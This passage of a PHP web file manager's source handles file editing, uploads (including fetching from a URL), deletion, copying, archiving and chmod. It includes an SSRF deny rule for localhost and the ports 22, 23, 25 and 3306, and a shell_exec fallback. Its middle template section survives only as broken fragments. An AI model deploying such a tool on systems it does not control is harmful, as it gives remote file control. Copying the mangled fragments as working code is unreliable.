if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. '
'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { 